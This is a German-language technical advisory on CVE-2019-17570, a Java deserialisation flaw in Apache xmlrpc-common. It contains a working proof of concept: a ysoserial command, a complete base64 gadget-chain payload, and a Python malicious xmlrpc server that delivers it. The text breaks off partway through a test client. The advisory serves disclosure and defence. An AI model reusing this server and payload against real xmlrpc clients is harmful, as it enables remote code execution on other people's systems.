xmlrpc-common Deserialisierungsschwachstelle

Diese Notiz ist eine technische Notiz, die die Grundursache und den dazugehörigen Exploit im Detail beschreibt. Die ursprüngliche Offenlegung finden Sie hier. Die zugehörige CVE ist CVE-2019-17570.

Beschreibung

xmlrpc-common bildet eine gemeinsame Codebasis zwischen xmlrpc-client und xmlrpc-server. Eine Deserialisierungsschwachstelle wurde in der Methode org.apache.xmlrpc.parser.XmlRpcResponseParser.addResult(Object) identifiziert. Sie ermöglicht es einem angreiferkontrollierten xmlrpc-Server, eine bösartige xmlrpc-Antwort zu senden, die eine Remote-Codeausführung im xmlrpc-Client auslöst.

Die Deserialisierung wird durch die Verwendung von xmlrpc-Fehlern ausgelöst, die einen faultCause enthalten können. Der Inhalt dieses Knotens wird als Byte-Array verarbeitet und später mit readObject() in ein Java-Objekt deserialisiert:

protected void addResult(Object pResult) throws SAXException {
  if (isSuccess) {
    super.setResult(pResult);
  } else {
    Map map = (Map) pResult;
    Integer faultCode = (Integer) map.get("faultCode");
    if (faultCode == null) {
      throw new SAXParseException("Missing faultCode", getDocumentLocator());
    }
    try {
      errorCode = faultCode.intValue();
    } catch (NumberFormatException e) {
      throw new SAXParseException("Invalid faultCode: " + faultCode,
        getDocumentLocator());
    }
    errorMessage = (String) map.get("faultString");
    Object exception = map.get("faultCause");
    if (exception != null) {
      try {
        byte[] bytes = (byte[]) exception;
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        errorCause = (Throwable) ois.readObject();
        ois.close();
        bais.close();
      } catch (Throwable t) {
        // Ignore me
      }
    }
  }
}

Die Schwachstelle unterscheidet sich von CVE-2016-5003, die den Typ ex:serialized ausnutzt, um eine Deserialisierung auszulösen. Diese neue Schwachstelle betrifft xmlrpc-common auch in seiner Standardkonfiguration, wenn die Erweiterung deaktiviert ist.

Ausnutzungstechnik

Obwohl die Schwachstelle in xmlrpc-common liegt, erfordert die Ausnutzung die Verwendung einer Gadget-Kette, um eine Remote-Codeausführung zu erreichen. Die Gadget-Kette hängt von den im Klassenpfad verfügbaren Klassen ab. Zu Demonstrationszwecken hat unser Proof-of-Concept Apache commons-collections-3.2.1 zum Klassenpfad hinzugefügt, und die Gadget-Kette wurde mit ysoserial generiert.

CVSSv3-Basiswert: 9.8

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Auswirkungen

Ein Angreifer kann beliebigen Code im Kontext eines xmlrpc-Clients ausführen, der anfällige Versionen von xmlrpc-common verwendet.

Proof of Concept

Unser Proof of Concept verwendet einen absichtlich geschriebenen xmlrpc-Testclient und einen angreiferkontrollierten xmlrpc-Server.

xmlrpc-Server

Der Hauptzweck dieses Servers besteht darin, die serialisierte Nutzlast an den anfälligen Client zu liefern. Die serialisierte Nutzlast wurde erstellt mit:

$ java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "ping www.google.com" | base64
...
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAAU3QAA2FwcHQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0cHBzcQB+AAsBAAAANXEAfgANcQB+AA5xAH4AD3EAfgAQcHBzcQB+AAsBAAAAInEAfgANdAAZeXNvc2VyaWFsLkdlbmVyYXRlUGF5bG9hZHQAFEdlbmVyYXRlUGF5bG9hZC5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXlxAH4AAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADZm9vc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAdAAJZ2V0TWV0aG9kdXEAfgAvAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AL3NxAH4AKHVxAH4ALAAAAAJwdXEAfgAsAAAAAHQABmludm9rZXVxAH4ALwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACxzcQB+ACh1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAABdAATcGluZyB3d3cuZ29vZ2xlLmNvbXQABGV4ZWN1cQB+AC8AAAABcQB+ADRzcQB+ACRzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=

Der Server selbst ist recht einfach und besteht hauptsächlich aus:

def create_fault_deser(payload):
  return b'''<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>1337</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>You have been pwned</string></value>
        </member>
        <member>
          <name>faultCause</name>
          <value><base64>%s</base64></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>
''' % (payload)

class Handler(http.server.SimpleHTTPRequestHandler):
  def do_POST(self):
    self.send_response(200)
    self.send_header('Content-Type', 'text/xml')
    self.end_headers()

    self.wfile.write(create_fault_deser(PING_COMMONS_COLLECTIONS))

httpd = socketserver.TCPServer(('0.0.0.0', 8888), Handler)
httpd.serve_forever()

Die oben verwendete Variable PING_COMMONS_COLLECTIONS wird auf die Ausgabe des ysoserial-Befehls gesetzt.

Test-xmlrpc-Client

Unser Testclient-Quellcode ist:

package poc.xmlrpcdeser;

import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Hashtable;
import org.apache.xmlrpc.XmlRpcException;
import org.apache.xmlrpc.client.XmlRpcClient;
import org.apache.xmlrpc.client.XmlRpcClientConfigImpl;

public class VulnerableClient {
    public static void main(String[] args) throws MalformedURLException, XmlRpcException {
        String domainName = "http://127.0.0.1:8888";